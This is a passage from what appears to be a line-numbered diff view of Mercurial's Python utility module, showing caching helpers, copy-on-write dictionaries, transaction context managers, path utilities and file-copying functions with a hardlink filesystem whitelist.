1038 # (3, 6) -> (3, 6, None)
1043 # (3, 6) -> (3, 6, None)
1039 while len(vints) < 3:
1044 while len(vints) < 3:
1040 vints.append(None)
1045 vints.append(None)
1041
1046
1042 if n == 2:
1047 if n == 2:
1043 return (vints[0], vints[1])
1048 return (vints[0], vints[1])
1044 if n == 3:
1049 if n == 3:
1045 return (vints[0], vints[1], vints[2])
1050 return (vints[0], vints[1], vints[2])
1046 if n == 4:
1051 if n == 4:
1047 return (vints[0], vints[1], vints[2], extra)
1052 return (vints[0], vints[1], vints[2], extra)
1048
1053
1049 def cachefunc(func):
1054 def cachefunc(func):
1050 '''cache the result of function calls'''
1055 '''cache the result of function calls'''
1051 # XXX doesn't handle keywords args
1056 # XXX doesn't handle keywords args
1052 if func.__code__.co_argcount == 0:
1057 if func.__code__.co_argcount == 0:
1053 cache = []
1058 cache = []
1054 def f():
1059 def f():
1055 if len(cache) == 0:
1060 if len(cache) == 0:
1056 cache.append(func())
1061 cache.append(func())
1057 return cache[0]
1062 return cache[0]
1058 return f
1063 return f
1059 cache = {}
1064 cache = {}
1060 if func.__code__.co_argcount == 1:
1065 if func.__code__.co_argcount == 1:
1061 # we gain a small amount of time because
1066 # we gain a small amount of time because
1062 # we don't need to pack/unpack the list
1067 # we don't need to pack/unpack the list
1063 def f(arg):
1068 def f(arg):
1064 if arg not in cache:
1069 if arg not in cache:
1065 cache[arg] = func(arg)
1070 cache[arg] = func(arg)
1066 return cache[arg]
1071 return cache[arg]
1067 else:
1072 else:
1068 def f(*args):
1073 def f(*args):
1069 if args not in cache:
1074 if args not in cache:
1070 cache[args] = func(*args)
1075 cache[args] = func(*args)
1071 return cache[args]
1076 return cache[args]
1072
1077
1073 return f
1078 return f
1074
1079
1075 class cow(object):
1080 class cow(object):
1076 """helper class to make copy-on-write easier
1081 """helper class to make copy-on-write easier
1077
1082
1078 Call preparewrite before doing any writes.
1083 Call preparewrite before doing any writes.
1079 """
1084 """
1080
1085
1081 def preparewrite(self):
1086 def preparewrite(self):
1082 """call this before writes, return self or a copied new object"""
1087 """call this before writes, return self or a copied new object"""
1083 if getattr(self, '_copied', 0):
1088 if getattr(self, '_copied', 0):
1084 self._copied -= 1
1089 self._copied -= 1
1085 return self.__class__(self)
1090 return self.__class__(self)
1086 return self
1091 return self
1087
1092
1088 def copy(self):
1093 def copy(self):
1089 """always do a cheap copy"""
1094 """always do a cheap copy"""
1090 self._copied = getattr(self, '_copied', 0) + 1
1095 self._copied = getattr(self, '_copied', 0) + 1
1091 return self
1096 return self
1092
1097
1093 class sortdict(collections.OrderedDict):
1098 class sortdict(collections.OrderedDict):
1094 '''a simple sorted dictionary
1099 '''a simple sorted dictionary
1095
1100
1096 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1101 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1097 >>> d2 = d1.copy()
1102 >>> d2 = d1.copy()
1098 >>> d2
1103 >>> d2
1099 sortdict([('a', 0), ('b', 1)])
1104 sortdict([('a', 0), ('b', 1)])
1100 >>> d2.update([(b'a', 2)])
1105 >>> d2.update([(b'a', 2)])
1101 >>> list(d2.keys()) # should still be in last-set order
1106 >>> list(d2.keys()) # should still be in last-set order
1102 ['b', 'a']
1107 ['b', 'a']
1103 '''
1108 '''
1104
1109
1105 def __setitem__(self, key, value):
1110 def __setitem__(self, key, value):
1106 if key in self:
1111 if key in self:
1107 del self[key]
1112 del self[key]
1108 super(sortdict, self).__setitem__(key, value)
1113 super(sortdict, self).__setitem__(key, value)
1109
1114
1110 if pycompat.ispypy:
1115 if pycompat.ispypy:
1111 # __setitem__() isn't called as of PyPy 5.8.0
1116 # __setitem__() isn't called as of PyPy 5.8.0
1112 def update(self, src):
1117 def update(self, src):
1113 if isinstance(src, dict):
1118 if isinstance(src, dict):
1114 src = src.iteritems()
1119 src = src.iteritems()
1115 for k, v in src:
1120 for k, v in src:
1116 self[k] = v
1121 self[k] = v
1117
1122
1118 class cowdict(cow, dict):
1123 class cowdict(cow, dict):
1119 """copy-on-write dict
1124 """copy-on-write dict
1120
1125
1121 Be sure to call d = d.preparewrite() before writing to d.
1126 Be sure to call d = d.preparewrite() before writing to d.
1122
1127
1123 >>> a = cowdict()
1128 >>> a = cowdict()
1124 >>> a is a.preparewrite()
1129 >>> a is a.preparewrite()
1125 True
1130 True
1126 >>> b = a.copy()
1131 >>> b = a.copy()
1127 >>> b is a
1132 >>> b is a
1128 True
1133 True
1129 >>> c = b.copy()
1134 >>> c = b.copy()
1130 >>> c is a
1135 >>> c is a
1131 True
1136 True
1132 >>> a = a.preparewrite()
1137 >>> a = a.preparewrite()
1133 >>> b is a
1138 >>> b is a
1134 False
1139 False
1135 >>> a is a.preparewrite()
1140 >>> a is a.preparewrite()
1136 True
1141 True
1137 >>> c = c.preparewrite()
1142 >>> c = c.preparewrite()
1138 >>> b is c
1143 >>> b is c
1139 False
1144 False
1140 >>> b is b.preparewrite()
1145 >>> b is b.preparewrite()
1141 True
1146 True
1142 """
1147 """
1143
1148
1144 class cowsortdict(cow, sortdict):
1149 class cowsortdict(cow, sortdict):
1145 """copy-on-write sortdict
1150 """copy-on-write sortdict
1146
1151
1147 Be sure to call d = d.preparewrite() before writing to d.
1152 Be sure to call d = d.preparewrite() before writing to d.
1148 """
1153 """
1149
1154
1150 class transactional(object):
1155 class transactional(object):
1151 """Base class for making a transactional type into a context manager."""
1156 """Base class for making a transactional type into a context manager."""
1152 __metaclass__ = abc.ABCMeta
1157 __metaclass__ = abc.ABCMeta
1153
1158
1154 @abc.abstractmethod
1159 @abc.abstractmethod
1155 def close(self):
1160 def close(self):
1156 """Successfully closes the transaction."""
1161 """Successfully closes the transaction."""
1157
1162
1158 @abc.abstractmethod
1163 @abc.abstractmethod
1159 def release(self):
1164 def release(self):
1160 """Marks the end of the transaction.
1165 """Marks the end of the transaction.
1161
1166
1162 If the transaction has not been closed, it will be aborted.
1167 If the transaction has not been closed, it will be aborted.
1163 """
1168 """
1164
1169
1165 def __enter__(self):
1170 def __enter__(self):
1166 return self
1171 return self
1167
1172
1168 def __exit__(self, exc_type, exc_val, exc_tb):
1173 def __exit__(self, exc_type, exc_val, exc_tb):
1169 try:
1174 try:
1170 if exc_type is None:
1175 if exc_type is None:
1171 self.close()
1176 self.close()
1172 finally:
1177 finally:
1173 self.release()
1178 self.release()
1174
1179
1175 @contextlib.contextmanager
1180 @contextlib.contextmanager
1176 def acceptintervention(tr=None):
1181 def acceptintervention(tr=None):
1177 """A context manager that closes the transaction on InterventionRequired
1182 """A context manager that closes the transaction on InterventionRequired
1178
1183
1179 If no transaction was provided, this simply runs the body and returns
1184 If no transaction was provided, this simply runs the body and returns
1180 """
1185 """
1181 if not tr:
1186 if not tr:
1182 yield
1187 yield
1183 return
1188 return
1184 try:
1189 try:
1185 yield
1190 yield
1186 tr.close()
1191 tr.close()
1187 except error.InterventionRequired:
1192 except error.InterventionRequired:
1188 tr.close()
1193 tr.close()
1189 raise
1194 raise
1190 finally:
1195 finally:
1191 tr.release()
1196 tr.release()
1192
1197
1193 @contextlib.contextmanager
1198 @contextlib.contextmanager
1194 def nullcontextmanager():
1199 def nullcontextmanager():
1195 yield
1200 yield
1196
1201
1197 class _lrucachenode(object):
1202 class _lrucachenode(object):
1198 """A node in a doubly linked list.
1203 """A node in a doubly linked list.
1199
1204
1200 Holds a reference to nodes on either side as well as a key-value
1205 Holds a reference to nodes on either side as well as a key-value
1201 pair for the dictionary entry.
1206 pair for the dictionary entry.
1202 """
1207 """
1203 __slots__ = (u'next', u'prev', u'key', u'value')
1208 __slots__ = (u'next', u'prev', u'key', u'value')
1204
1209
1205 def __init__(self):
1210 def __init__(self):
1206 self.next = None
1211 self.next = None
1207 self.prev = None
1212 self.prev = None
1208
1213
1209 self.key = _notset
1214 self.key = _notset
1210 self.value = None
1215 self.value = None
1211
1216
1212 def markempty(self):
1217 def markempty(self):
1213 """Mark the node as emptied."""
1218 """Mark the node as emptied."""
1214 self.key = _notset
1219 self.key = _notset
1215
1220
1216 class lrucachedict(object):
1221 class lrucachedict(object):
1217 """Dict that caches most recent accesses and sets.
1222 """Dict that caches most recent accesses and sets.
1218
1223
1219 The dict consists of an actual backing dict - indexed by original
1224 The dict consists of an actual backing dict - indexed by original
1220 key - and a doubly linked circular list defining the order of entries in
1225 key - and a doubly linked circular list defining the order of entries in
1221 the cache.
1226 the cache.
1222
1227
1223 The head node is the newest entry in the cache. If the cache is full,
1228 The head node is the newest entry in the cache. If the cache is full,
1224 we recycle head.prev and make it the new head. Cache accesses result in
1229 we recycle head.prev and make it the new head. Cache accesses result in
1225 the node being moved to before the existing head and being marked as the
1230 the node being moved to before the existing head and being marked as the
1226 new head node.
1231 new head node.
1227 """
1232 """
1228 def __init__(self, max):
1233 def __init__(self, max):
1229 self._cache = {}
1234 self._cache = {}
1230
1235
1231 self._head = head = _lrucachenode()
1236 self._head = head = _lrucachenode()
1232 head.prev = head
1237 head.prev = head
1233 head.next = head
1238 head.next = head
1234 self._size = 1
1239 self._size = 1
1235 self._capacity = max
1240 self._capacity = max
1236
1241
1237 def __len__(self):
1242 def __len__(self):
1238 return len(self._cache)
1243 return len(self._cache)
1239
1244
1240 def __contains__(self, k):
1245 def __contains__(self, k):
1241 return k in self._cache
1246 return k in self._cache
1242
1247
1243 def __iter__(self):
1248 def __iter__(self):
1244 # We don't have to iterate in cache order, but why not.
1249 # We don't have to iterate in cache order, but why not.
1245 n = self._head
1250 n = self._head
1246 for i in range(len(self._cache)):
1251 for i in range(len(self._cache)):
1247 yield n.key
1252 yield n.key
1248 n = n.next
1253 n = n.next
1249
1254
1250 def __getitem__(self, k):
1255 def __getitem__(self, k):
1251 node = self._cache[k]
1256 node = self._cache[k]
1252 self._movetohead(node)
1257 self._movetohead(node)
1253 return node.value
1258 return node.value
1254
1259
1255 def __setitem__(self, k, v):
1260 def __setitem__(self, k, v):
1256 node = self._cache.get(k)
1261 node = self._cache.get(k)
1257 # Replace existing value and mark as newest.
1262 # Replace existing value and mark as newest.
1258 if node is not None:
1263 if node is not None:
1259 node.value = v
1264 node.value = v
1260 self._movetohead(node)
1265 self._movetohead(node)
1261 return
1266 return
1262
1267
1263 if self._size < self._capacity:
1268 if self._size < self._capacity:
1264 node = self._addcapacity()
1269 node = self._addcapacity()
1265 else:
1270 else:
1266 # Grab the last/oldest item.
1271 # Grab the last/oldest item.
1267 node = self._head.prev
1272 node = self._head.prev
1268
1273
1269 # At capacity. Kill the old entry.
1274 # At capacity. Kill the old entry.
1270 if node.key is not _notset:
1275 if node.key is not _notset:
1271 del self._cache[node.key]
1276 del self._cache[node.key]
1272
1277
1273 node.key = k
1278 node.key = k
1274 node.value = v
1279 node.value = v
1275 self._cache[k] = node
1280 self._cache[k] = node
1276 # And mark it as newest entry. No need to adjust order since it
1281 # And mark it as newest entry. No need to adjust order since it
1277 # is already self._head.prev.
1282 # is already self._head.prev.
1278 self._head = node
1283 self._head = node
1279
1284
1280 def __delitem__(self, k):
1285 def __delitem__(self, k):
1281 node = self._cache.pop(k)
1286 node = self._cache.pop(k)
1282 node.markempty()
1287 node.markempty()
1283
1288
1284 # Temporarily mark as newest item before re-adjusting head to make
1289 # Temporarily mark as newest item before re-adjusting head to make
1285 # this node the oldest item.
1290 # this node the oldest item.
1286 self._movetohead(node)
1291 self._movetohead(node)
1287 self._head = node.next
1292 self._head = node.next
1288
1293
1289 # Additional dict methods.
1294 # Additional dict methods.
1290
1295
1291 def get(self, k, default=None):
1296 def get(self, k, default=None):
1292 try:
1297 try:
1293 return self._cache[k].value
1298 return self._cache[k].value
1294 except KeyError:
1299 except KeyError:
1295 return default
1300 return default
1296
1301
1297 def clear(self):
1302 def clear(self):
1298 n = self._head
1303 n = self._head
1299 while n.key is not _notset:
1304 while n.key is not _notset:
1300 n.markempty()
1305 n.markempty()
1301 n = n.next
1306 n = n.next
1302
1307
1303 self._cache.clear()
1308 self._cache.clear()
1304
1309
1305 def copy(self):
1310 def copy(self):
1306 result = lrucachedict(self._capacity)
1311 result = lrucachedict(self._capacity)
1307 n = self._head.prev
1312 n = self._head.prev
1308 # Iterate in oldest-to-newest order, so the copy has the right ordering
1313 # Iterate in oldest-to-newest order, so the copy has the right ordering
1309 for i in range(len(self._cache)):
1314 for i in range(len(self._cache)):
1310 result[n.key] = n.value
1315 result[n.key] = n.value
1311 n = n.prev
1316 n = n.prev
1312 return result
1317 return result
1313
1318
1314 def _movetohead(self, node):
1319 def _movetohead(self, node):
1315 """Mark a node as the newest, making it the new head.
1320 """Mark a node as the newest, making it the new head.
1316
1321
1317 When a node is accessed, it becomes the freshest entry in the LRU
1322 When a node is accessed, it becomes the freshest entry in the LRU
1318 list, which is denoted by self._head.
1323 list, which is denoted by self._head.
1319
1324
1320 Visually, let's make ``N`` the new head node (* denotes head):
1325 Visually, let's make ``N`` the new head node (* denotes head):
1321
1326
1322 previous/oldest <-> head <-> next/next newest
1327 previous/oldest <-> head <-> next/next newest
1323
1328
1324 ----<->--- A* ---<->-----
1329 ----<->--- A* ---<->-----
1325 | |
1330 | |
1326 E <-> D <-> N <-> C <-> B
1331 E <-> D <-> N <-> C <-> B
1327
1332
1328 To:
1333 To:
1329
1334
1330 ----<->--- N* ---<->-----
1335 ----<->--- N* ---<->-----
1331 | |
1336 | |
1332 E <-> D <-> C <-> B <-> A
1337 E <-> D <-> C <-> B <-> A
1333
1338
1334 This requires the following moves:
1339 This requires the following moves:
1335
1340
1336 C.next = D (node.prev.next = node.next)
1341 C.next = D (node.prev.next = node.next)
1337 D.prev = C (node.next.prev = node.prev)
1342 D.prev = C (node.next.prev = node.prev)
1338 E.next = N (head.prev.next = node)
1343 E.next = N (head.prev.next = node)
1339 N.prev = E (node.prev = head.prev)
1344 N.prev = E (node.prev = head.prev)
1340 N.next = A (node.next = head)
1345 N.next = A (node.next = head)
1341 A.prev = N (head.prev = node)
1346 A.prev = N (head.prev = node)
1342 """
1347 """
1343 head = self._head
1348 head = self._head
1344 # C.next = D
1349 # C.next = D
1345 node.prev.next = node.next
1350 node.prev.next = node.next
1346 # D.prev = C
1351 # D.prev = C
1347 node.next.prev = node.prev
1352 node.next.prev = node.prev
1348 # N.prev = E
1353 # N.prev = E
1349 node.prev = head.prev
1354 node.prev = head.prev
1350 # N.next = A
1355 # N.next = A
1351 # It is tempting to do just "head" here, however if node is
1356 # It is tempting to do just "head" here, however if node is
1352 # adjacent to head, this will do bad things.
1357 # adjacent to head, this will do bad things.
1353 node.next = head.prev.next
1358 node.next = head.prev.next
1354 # E.next = N
1359 # E.next = N
1355 node.next.prev = node
1360 node.next.prev = node
1356 # A.prev = N
1361 # A.prev = N
1357 node.prev.next = node
1362 node.prev.next = node
1358
1363
1359 self._head = node
1364 self._head = node
1360
1365
1361 def _addcapacity(self):
1366 def _addcapacity(self):
1362 """Add a node to the circular linked list.
1367 """Add a node to the circular linked list.
1363
1368
1364 The new node is inserted before the head node.
1369 The new node is inserted before the head node.
1365 """
1370 """
1366 head = self._head
1371 head = self._head
1367 node = _lrucachenode()
1372 node = _lrucachenode()
1368 head.prev.next = node
1373 head.prev.next = node
1369 node.prev = head.prev
1374 node.prev = head.prev
1370 node.next = head
1375 node.next = head
1371 head.prev = node
1376 head.prev = node
1372 self._size += 1
1377 self._size += 1
1373 return node
1378 return node
1374
1379
1375 def lrucachefunc(func):
1380 def lrucachefunc(func):
1376 '''cache most recent results of function calls'''
1381 '''cache most recent results of function calls'''
1377 cache = {}
1382 cache = {}
1378 order = collections.deque()
1383 order = collections.deque()
1379 if func.__code__.co_argcount == 1:
1384 if func.__code__.co_argcount == 1:
1380 def f(arg):
1385 def f(arg):
1381 if arg not in cache:
1386 if arg not in cache:
1382 if len(cache) > 20:
1387 if len(cache) > 20:
1383 del cache[order.popleft()]
1388 del cache[order.popleft()]
1384 cache[arg] = func(arg)
1389 cache[arg] = func(arg)
1385 else:
1390 else:
1386 order.remove(arg)
1391 order.remove(arg)
1387 order.append(arg)
1392 order.append(arg)
1388 return cache[arg]
1393 return cache[arg]
1389 else:
1394 else:
1390 def f(*args):
1395 def f(*args):
1391 if args not in cache:
1396 if args not in cache:
1392 if len(cache) > 20:
1397 if len(cache) > 20:
1393 del cache[order.popleft()]
1398 del cache[order.popleft()]
1394 cache[args] = func(*args)
1399 cache[args] = func(*args)
1395 else:
1400 else:
1396 order.remove(args)
1401 order.remove(args)
1397 order.append(args)
1402 order.append(args)
1398 return cache[args]
1403 return cache[args]
1399
1404
1400 return f
1405 return f
1401
1406
1402 class propertycache(object):
1407 class propertycache(object):
1403 def __init__(self, func):
1408 def __init__(self, func):
1404 self.func = func
1409 self.func = func
1405 self.name = func.__name__
1410 self.name = func.__name__
1406 def __get__(self, obj, type=None):
1411 def __get__(self, obj, type=None):
1407 result = self.func(obj)
1412 result = self.func(obj)
1408 self.cachevalue(obj, result)
1413 self.cachevalue(obj, result)
1409 return result
1414 return result
1410
1415
1411 def cachevalue(self, obj, value):
1416 def cachevalue(self, obj, value):
1412 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1417 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1413 obj.__dict__[self.name] = value
1418 obj.__dict__[self.name] = value
1414
1419
1415 def clearcachedproperty(obj, prop):
1420 def clearcachedproperty(obj, prop):
1416 '''clear a cached property value, if one has been set'''
1421 '''clear a cached property value, if one has been set'''
1417 if prop in obj.__dict__:
1422 if prop in obj.__dict__:
1418 del obj.__dict__[prop]
1423 del obj.__dict__[prop]
1419
1424
1420 def increasingchunks(source, min=1024, max=65536):
1425 def increasingchunks(source, min=1024, max=65536):
1421 '''return no less than min bytes per chunk while data remains,
1426 '''return no less than min bytes per chunk while data remains,
1422 doubling min after each chunk until it reaches max'''
1427 doubling min after each chunk until it reaches max'''
1423 def log2(x):
1428 def log2(x):
1424 if not x:
1429 if not x:
1425 return 0
1430 return 0
1426 i = 0
1431 i = 0
1427 while x:
1432 while x:
1428 x >>= 1
1433 x >>= 1
1429 i += 1
1434 i += 1
1430 return i - 1
1435 return i - 1
1431
1436
1432 buf = []
1437 buf = []
1433 blen = 0
1438 blen = 0
1434 for chunk in source:
1439 for chunk in source:
1435 buf.append(chunk)
1440 buf.append(chunk)
1436 blen += len(chunk)
1441 blen += len(chunk)
1437 if blen >= min:
1442 if blen >= min:
1438 if min < max:
1443 if min < max:
1439 min = min << 1
1444 min = min << 1
1440 nmin = 1 << log2(blen)
1445 nmin = 1 << log2(blen)
1441 if nmin > min:
1446 if nmin > min:
1442 min = nmin
1447 min = nmin
1443 if min > max:
1448 if min > max:
1444 min = max
1449 min = max
1445 yield ''.join(buf)
1450 yield ''.join(buf)
1446 blen = 0
1451 blen = 0
1447 buf = []
1452 buf = []
1448 if buf:
1453 if buf:
1449 yield ''.join(buf)
1454 yield ''.join(buf)
1450
1455
1451 def always(fn):
1456 def always(fn):
1452 return True
1457 return True
1453
1458
1454 def never(fn):
1459 def never(fn):
1455 return False
1460 return False
1456
1461
1457 def nogc(func):
1462 def nogc(func):
1458 """disable garbage collector
1463 """disable garbage collector
1459
1464
1460 Python's garbage collector triggers a GC each time a certain number of
1465 Python's garbage collector triggers a GC each time a certain number of
1461 container objects (the number being defined by gc.get_threshold()) are
1466 container objects (the number being defined by gc.get_threshold()) are
1462 allocated even when marked not to be tracked by the collector. Tracking has
1467 allocated even when marked not to be tracked by the collector. Tracking has
1463 no effect on when GCs are triggered, only on what objects the GC looks
1468 no effect on when GCs are triggered, only on what objects the GC looks
1464 into. As a workaround, disable GC while building complex (huge)
1469 into. As a workaround, disable GC while building complex (huge)
1465 containers.
1470 containers.
1466
1471
1467 This garbage collector issue have been fixed in 2.7. But it still affect
1472 This garbage collector issue have been fixed in 2.7. But it still affect
1468 CPython's performance.
1473 CPython's performance.
1469 """
1474 """
1470 def wrapper(*args, **kwargs):
1475 def wrapper(*args, **kwargs):
1471 gcenabled = gc.isenabled()
1476 gcenabled = gc.isenabled()
1472 gc.disable()
1477 gc.disable()
1473 try:
1478 try:
1474 return func(*args, **kwargs)
1479 return func(*args, **kwargs)
1475 finally:
1480 finally:
1476 if gcenabled:
1481 if gcenabled:
1477 gc.enable()
1482 gc.enable()
1478 return wrapper
1483 return wrapper
1479
1484
1480 if pycompat.ispypy:
1485 if pycompat.ispypy:
1481 # PyPy runs slower with gc disabled
1486 # PyPy runs slower with gc disabled
1482 nogc = lambda x: x
1487 nogc = lambda x: x
1483
1488
1484 def pathto(root, n1, n2):
1489 def pathto(root, n1, n2):
1485 '''return the relative path from one place to another.
1490 '''return the relative path from one place to another.
1486 root should use os.sep to separate directories
1491 root should use os.sep to separate directories
1487 n1 should use os.sep to separate directories
1492 n1 should use os.sep to separate directories
1488 n2 should use "/" to separate directories
1493 n2 should use "/" to separate directories
1489 returns an os.sep-separated path.
1494 returns an os.sep-separated path.
1490
1495
1491 If n1 is a relative path, it's assumed it's
1496 If n1 is a relative path, it's assumed it's
1492 relative to root.
1497 relative to root.
1493 n2 should always be relative to root.
1498 n2 should always be relative to root.
1494 '''
1499 '''
1495 if not n1:
1500 if not n1:
1496 return localpath(n2)
1501 return localpath(n2)
1497 if os.path.isabs(n1):
1502 if os.path.isabs(n1):
1498 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1503 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1499 return os.path.join(root, localpath(n2))
1504 return os.path.join(root, localpath(n2))
1500 n2 = '/'.join((pconvert(root), n2))
1505 n2 = '/'.join((pconvert(root), n2))
1501 a, b = splitpath(n1), n2.split('/')
1506 a, b = splitpath(n1), n2.split('/')
1502 a.reverse()
1507 a.reverse()
1503 b.reverse()
1508 b.reverse()
1504 while a and b and a[-1] == b[-1]:
1509 while a and b and a[-1] == b[-1]:
1505 a.pop()
1510 a.pop()
1506 b.pop()
1511 b.pop()
1507 b.reverse()
1512 b.reverse()
1508 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1513 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1509
1514
1510 # the location of data files matching the source code
1515 # the location of data files matching the source code
1511 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1516 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1512 # executable version (py2exe) doesn't support __file__
1517 # executable version (py2exe) doesn't support __file__
1513 datapath = os.path.dirname(pycompat.sysexecutable)
1518 datapath = os.path.dirname(pycompat.sysexecutable)
1514 else:
1519 else:
1515 datapath = os.path.dirname(pycompat.fsencode(__file__))
1520 datapath = os.path.dirname(pycompat.fsencode(__file__))
1516
1521
1517 i18n.setdatapath(datapath)
1522 i18n.setdatapath(datapath)
1518
1523
1519 def checksignature(func):
1524 def checksignature(func):
1520 '''wrap a function with code to check for calling errors'''
1525 '''wrap a function with code to check for calling errors'''
1521 def check(*args, **kwargs):
1526 def check(*args, **kwargs):
1522 try:
1527 try:
1523 return func(*args, **kwargs)
1528 return func(*args, **kwargs)
1524 except TypeError:
1529 except TypeError:
1525 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1530 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1526 raise error.SignatureError
1531 raise error.SignatureError
1527 raise
1532 raise
1528
1533
1529 return check
1534 return check
1530
1535
1531 # a whilelist of known filesystems where hardlink works reliably
1536 # a whilelist of known filesystems where hardlink works reliably
1532 _hardlinkfswhitelist = {
1537 _hardlinkfswhitelist = {
1533 'apfs',
1538 'apfs',
1534 'btrfs',
1539 'btrfs',
1535 'ext2',
1540 'ext2',
1536 'ext3',
1541 'ext3',
1537 'ext4',
1542 'ext4',
1538 'hfs',
1543 'hfs',
1539 'jfs',
1544 'jfs',
1540 'NTFS',
1545 'NTFS',
1541 'reiserfs',
1546 'reiserfs',
1542 'tmpfs',
1547 'tmpfs',
1543 'ufs',
1548 'ufs',
1544 'xfs',
1549 'xfs',
1545 'zfs',
1550 'zfs',
1546 }
1551 }
1547
1552
1548 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1553 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1549 '''copy a file, preserving mode and optionally other stat info like
1554 '''copy a file, preserving mode and optionally other stat info like
1550 atime/mtime
1555 atime/mtime
1551
1556
1552 checkambig argument is used with filestat, and is useful only if
1557 checkambig argument is used with filestat, and is useful only if
1553 destination file is guarded by any lock (e.g. repo.lock or
1558 destination file is guarded by any lock (e.g. repo.lock or
1554 repo.wlock).
1559 repo.wlock).
1555
1560
1556 copystat and checkambig should be exclusive.
1561 copystat and checkambig should be exclusive.
1557 '''
1562 '''
1558 assert not (copystat and checkambig)
1563 assert not (copystat and checkambig)
1559 oldstat = None
1564 oldstat = None
1560 if os.path.lexists(dest):
1565 if os.path.lexists(dest):
1561 if checkambig:
1566 if checkambig:
1562 oldstat = checkambig and filestat.frompath(dest)
1567 oldstat = checkambig and filestat.frompath(dest)
1563 unlink(dest)
1568 unlink(dest)
1564 if hardlink:
1569 if hardlink:
1565 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1570 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1566 # unless we are confident that dest is on a whitelisted filesystem.
1571 # unless we are confident that dest is on a whitelisted filesystem.
1567 try:
1572 try:
1568 fstype = getfstype(os.path.dirname(dest))
1573 fstype = getfstype(os.path.dirname(dest))
1569 except OSError:
1574 except OSError:
1570 fstype = None
1575 fstype = None
1571 if fstype not in _hardlinkfswhitelist:
1576 if fstype not in _hardlinkfswhitelist:
1572 hardlink = False
1577 hardlink = False
1573 if hardlink:
1578 if hardlink:
1574 try:
1579 try:
1575 oslink(src, dest)
1580 oslink(src, dest)
1576 return
1581 return
1577 except (IOError, OSError):
1582 except (IOError, OSError):
1578 pass # fall back to normal copy
1583 pass # fall back to normal copy
1579 if os.path.islink(src):
1584 if os.path.islink(src):
1580 os.symlink(os.readlink(src), dest)
1585 os.symlink(os.readlink(src), dest)
1581 # copytime is ignored for symlinks, but in general copytime isn't needed
1586 # copytime is ignored for symlinks, but in general copytime isn't needed
1582 # for them anyway
1587 # for them anyway
1583 else:
1588 else:
1584 try:
1589 try:
1585 shutil.copyfile(src, dest)
1590 shutil.copyfile(src, dest)
1586 if copystat:
1591 if copystat:
1587 # copystat also copies mode
1592 # copystat also copies mode
1588 shutil.copystat(src, dest)
1593 shutil.copystat(src, dest)
1589 else:
1594 else:
1590 shutil.copymode(src, dest)
1595 shutil.copymode(src, dest)
1591 if oldstat and oldstat.stat:
1596 if oldstat and oldstat.stat:
1592 newstat = filestat.frompath(dest)
1597 newstat = filestat.frompath(dest)
1593 if newstat.isambig(oldstat):
1598 if newstat.isambig(oldstat):
1594 # stat of copied file is ambiguous to original one
1599 # stat of copied file is ambiguous to original one
1595 advanced = (
1600 advanced = (
1596 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1601 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1597 os.utime(dest, (advanced, advanced))
1602 os.utime(dest, (advanced, advanced))
1598 except shutil.Error as inst:
1603 except shutil.Error as inst:
1599 raise error.Abort(str(inst))
1604 raise error.Abort(str(inst))
1600
1605
1601 def copyfiles(src, dst, hardlink=None, progress=None):
1606 def copyfiles(src, dst, hardlink=None, progress=None):
1602 """Copy a directory tree using hardlinks if possible."""
1607 """Copy a directory tree using hardlinks if possible."""
1603 num = 0
1608 num = 0
1604
1609
1605 def settopic():
1610 def settopic():
1606 if progress:
1611 if progress:
1607 progress.topic = _('linking') if hardlink else _('copying')
1612 progress.topic = _('linking') if hardlink else _('copying')
1608
1613
1609 if os.path.isdir(src):
1614 if os.path.isdir(src):
1610 if hardlink is None:
1615 if hardlink is None:
1611 hardlink = (os.stat(src).st_dev ==
1616 hardlink = (os.stat(src).st_dev ==
1612 os.stat(os.path.dirname(dst)).st_dev)
1617 os.stat(os.path.dirname(dst)).st_dev)
1613 settopic()
1618 settopic()
1614 os.mkdir(dst)
1619 os.mkdir(dst)
1615 for name, kind in listdir(src):
1620 for name, kind in listdir(src):
1616 srcname = os.path.join(src, name)
1621 srcname = os.path.join(src, name)
1617 dstname = os.path.join(dst, name)
1622 dstname = os.path.join(dst, name)
1618 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1623 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1619 num += n
1624 num += n
1620 else:
1625 else:
1621 if hardlink is None:
1626 if hardlink is None:
1622 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1627 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1623 os.stat(os.path.dirname(dst)).st_dev)
1628 os.stat(os.path.dirname(dst)).st_dev)
1624 settopic()
1629 settopic()
1625
1630
1626 if hardlink:
1631 if hardlink:
1627 try:
1632 try:
1628 oslink(src, dst)
1633 oslink(src, dst)
1629 except (IOError, OSError):
1634 except (IOError, OSError):
1630 hardlink = False
1635 hardlink = False
1631 shutil.copy(src, dst)
1636 shutil.copy(src, dst)
1632 else:
1637 else:
1633 shutil.copy(src, dst)
1638 shutil.copy(src, dst)
1634 num += 1
1639 num += 1
1635 if progress:
1640 if progress:
1636 progress.increment()
1641 progress.increment()
1637
1642
1638 return hardlink, num
1643 return hardlink, num
1639
1644
1640 _winreservednames = {
1645 _winreservednames = {
1641 'con', 'prn', 'aux', 'nul',
1646 'con', 'prn', 'aux', 'nul',
1642 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1647 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1643 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
